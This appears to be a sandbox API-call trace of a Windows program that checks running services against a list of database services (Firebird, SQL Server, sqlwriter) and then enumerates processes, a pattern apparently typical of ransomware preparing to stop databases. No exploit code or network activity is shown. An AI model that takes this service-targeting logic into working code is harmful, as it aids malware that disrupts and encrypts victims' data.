[0294.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0294.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0294.887] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0294.887] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0294.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0294.887] lstrlenW (lpString="CryptSvc") returned 8 [0294.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0294.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0294.887] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0294.887] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0294.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0294.888] lstrlenW (lpString="DcomLaunch") returned 10 [0294.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0294.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0294.888] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0294.888] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0294.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0294.888] lstrlenW (lpString="DeviceAssociationService") returned 24 [0294.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0294.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0294.888] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0294.888] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0294.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0294.888] lstrlenW (lpString="Dhcp") returned 4 [0294.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0294.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0294.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0294.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0294.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0294.888] lstrlenW (lpString="Dnscache") returned 8 [0294.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0294.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0294.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0294.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0294.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0294.888] lstrlenW (lpString="DoSvc") returned 5 [0294.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0294.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0294.888] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0294.888] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0294.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0294.888] lstrlenW (lpString="DPS") returned 3 [0294.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0294.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0294.889] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0294.889] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0294.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0294.889] lstrlenW (lpString="DusmSvc") returned 7 [0294.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0294.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0294.889] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0294.889] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0294.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0294.889] lstrlenW (lpString="EventLog") returned 8 [0294.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0294.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0294.889] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0294.889] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0294.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0294.889] lstrlenW (lpString="EventSystem") returned 11 [0294.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0294.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0294.889] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0294.889] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0294.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0294.889] lstrlenW (lpString="FontCache") returned 9 [0294.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0294.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0294.889] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0294.889] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0294.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0294.889] lstrlenW (lpString="gpsvc") returned 5 [0294.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0294.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0294.889] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0294.890] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0294.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0294.890] lstrlenW (lpString="iphlpsvc") returned 8 [0294.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0294.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0294.890] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0294.890] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0294.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0294.890] lstrlenW (lpString="KeyIso") returned 6 [0294.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0294.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0294.890] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0294.890] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0294.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0294.890] lstrlenW (lpString="LanmanServer") returned 12 [0294.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0294.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0294.890] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0294.890] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0294.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0294.890] lstrlenW (lpString="LanmanWorkstation") returned 17 [0294.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0294.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0294.890] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0294.890] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0294.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0294.890] lstrlenW (lpString="lfsvc") returned 5 [0294.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0294.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0294.890] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0294.890] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0294.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0294.891] lstrlenW (lpString="lmhosts") returned 7 [0294.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0294.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0294.891] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0294.891] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0294.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0294.891] lstrlenW (lpString="LSM") returned 3 [0294.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0294.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0294.891] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0294.891] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0294.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0294.891] lstrlenW (lpString="MpsSvc") returned 6 [0294.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0294.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0294.891] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0294.891] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0294.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0294.891] lstrlenW (lpString="NcbService") returned 10 [0294.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0294.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0294.891] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0294.891] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0294.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0294.891] lstrlenW (lpString="netprofm") returned 8 [0294.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0294.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0294.891] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0294.891] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0294.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0294.891] lstrlenW (lpString="NgcSvc") returned 6 [0294.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0294.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0294.892] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0294.892] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0294.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0294.892] lstrlenW (lpString="NlaSvc") returned 6 [0294.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0294.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0294.892] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0294.892] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0294.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0294.892] lstrlenW (lpString="nsi") returned 3 [0294.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0294.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0294.892] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0294.892] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0294.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0294.892] lstrlenW (lpString="PcaSvc") returned 6 [0294.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0294.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0294.892] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0294.892] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0294.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0294.892] lstrlenW (lpString="PlugPlay") returned 8 [0294.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0294.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0294.892] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0294.892] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0294.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0294.892] lstrlenW (lpString="Power") returned 5 [0294.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0294.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0294.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0294.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0294.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0294.893] lstrlenW (lpString="ProfSvc") returned 7 [0294.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0294.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0294.893] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0294.893] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0294.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0294.893] lstrlenW (lpString="RpcEptMapper") returned 12 [0294.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0294.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0294.893] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0294.893] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0294.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0294.893] lstrlenW (lpString="RpcSs") returned 5 [0294.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0294.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0294.893] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0294.893] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0294.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0294.893] lstrlenW (lpString="SamSs") returned 5 [0294.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0294.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0294.893] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0294.893] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0294.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0294.893] lstrlenW (lpString="Schedule") returned 8 [0294.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0294.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0294.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0294.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0294.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0294.893] lstrlenW (lpString="SecurityHealthService") returned 21 [0294.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0294.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0294.894] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0294.894] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0294.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0294.894] lstrlenW (lpString="SENS") returned 4 [0294.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0294.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0294.894] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0294.894] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0294.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0294.894] lstrlenW (lpString="ShellHWDetection") returned 16 [0294.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0294.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0294.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0294.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0294.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0294.894] lstrlenW (lpString="Spooler") returned 7 [0294.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0294.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0294.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0294.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0294.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0294.894] lstrlenW (lpString="SSDPSRV") returned 7 [0294.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0294.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0294.894] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0294.894] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0294.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0294.894] lstrlenW (lpString="StateRepository") returned 15 [0294.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0294.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0294.894] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0294.895] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0294.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0294.895] lstrlenW (lpString="SysMain") returned 7 [0294.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0294.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0294.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0294.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0294.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0294.895] lstrlenW (lpString="SystemEventsBroker") returned 18 [0294.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0294.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0294.895] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x456fbd8 | out: hHeap=0x6e0000) returned 1 [0294.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x52c [0294.899] Process32FirstW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.899] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0294.901] lstrlenW (lpString="System") returned 6 [0294.901] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0294.901] lstrlenW (lpString="smss.exe") returned 8 [0294.902] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.902] lstrlenW (lpString="csrss.exe") returned 9 [0294.902] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0294.903] lstrlenW (lpString="wininit.exe") returned 11 [0294.903] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.904] lstrlenW (lpString="csrss.exe") returned 9 [0294.904] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0294.904] lstrlenW (lpString="winlogon.exe") returned 12 [0294.904] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0294.905] lstrlenW (lpString="services.exe") returned 12 [0294.905] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0294.906] lstrlenW (lpString="lsass.exe") returned 9 [0294.906] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.906] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.906] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.907] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.907] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.908] lstrlenW (lpString="svchost.exe") returned 11 [0294.908] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.909] lstrlenW (lpString="svchost.exe") returned 11 [0294.909] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0294.909] lstrlenW (lpString="dwm.exe") returned 7 [0294.909] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.910] lstrlenW (lpString="svchost.exe") returned 11 [0294.910] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.911] lstrlenW (lpString="svchost.exe") returned 11 [0294.911] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.911] lstrlenW (lpString="svchost.exe") returned 11 [0294.911] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.912] 